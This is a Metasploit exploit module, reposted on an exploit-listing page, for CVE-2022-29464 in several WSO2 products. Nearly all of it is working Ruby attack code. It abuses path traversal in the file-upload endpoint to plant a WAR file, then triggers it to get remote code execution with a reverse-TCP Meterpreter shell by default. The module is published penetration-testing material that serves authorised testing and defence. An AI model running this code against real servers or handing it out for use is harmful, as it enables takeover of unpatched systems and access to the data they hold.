Share
## https://sploitus.com/exploit?id=PACKETSTORM:166921
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WSO2 Arbitrary File Upload to RCE',  
'Description' => %q{  
This module abuses a vulnerability in certain WSO2 products that allow unrestricted file  
upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and  
above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server  
Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above  
through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.  
},  
'Author' => [  
'Orange Tsai', # Discovery  
'hakivvi', # analysis and PoC  
'wvu', # PoC  
'Jack Heysel <jack_heysel[at]rapid7.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2022-29464'],  
[ 'URL', 'https://github.com/hakivvi/CVE-2022-29464' ],  
[ 'URL', 'https://twitter.com/wvuuuuuuuuuuuuu/status/1517433974003576833' ],  
[ 'URL', 'https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738' ]  
],  
'DefaultOptions' => {  
'Payload' => 'java/meterpreter/reverse_tcp',  
'SSL' => true,  
'RPORT' => 9443  
},  
'Privileged' => false,  
'Targets' => [  
[  
'Java Dropper',  
{  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Type' => :java_dropper,  
'DefaultOptions' => {  
'WfsDelay' => 10  
}  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2022-04-01',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
register_options(  
[  
OptInt.new('WAR_DEPLOY_DELAY', [true, 'How long to wait for the war file to deploy, in seconds', 20 ]),  
OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 product installation', '/'])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),  
'method' => 'POST'  
)  
  
if res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /WSO2/  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Unknown  
end  
end  
  
def prepare_payload(app_name)  
print_status('Preparing payload...')  
  
war_payload = payload.encoded_war.to_s  
fname = app_name + '.war'  
path_traveral = '../../../../repository/deployment/server/webapps/' + fname  
post_data = Rex::MIME::Message.new  
post_data.add_part(war_payload,  
'application/octet-stream', 'binary',  
"form-data; name=\"#{path_traveral}\"; filename=\"#{fname}\"")  
post_data  
end  
  
def upload_payload(post_data)  
print_status('Uploading payload...')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s  
)  
if res && res.code == 200  
print_good('Payload uploaded successfully')  
else  
fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed')  
end  
end  
  
def execute_payload(app_name)  
res = nil  
print_status('Executing payload... ')  
retry_until_true(timeout: datastore['WAR_DEPLOY_DELAY']) do  
print_status('Waiting for shell... ')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, app_name),  
'method' => 'GET'  
)  
if res && res.code == 200  
break  
else  
next  
end  
end  
  
if res && res.code == 200  
print_good('Payload executed successfully')  
else  
fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')  
end  
end  
  
# Retry the block until it returns a truthy value. Each iteration attempt will  
# be performed with expoential backoff. If the timeout period surpasses, false is returned.  
def retry_until_true(timeout:)  
start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)  
ending_time = start_time + timeout  
retry_count = 0  
while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time  
result = yield  
return result if result  
  
retry_count += 1  
remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)  
break if remaining_time_budget <= 0  
  
delay = 2**retry_count  
if delay >= remaining_time_budget  
delay = remaining_time_budget  
vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")  
else  
vprint_status("Sleeping for #{delay} seconds before attempting again")  
end  
  
sleep delay  
end  
end  
  
def exploit  
app_name = Rex::Text.rand_text_alpha(4..7)  
data = prepare_payload(app_name)  
upload_payload(data)  
execute_payload(app_name)  
end  
  
end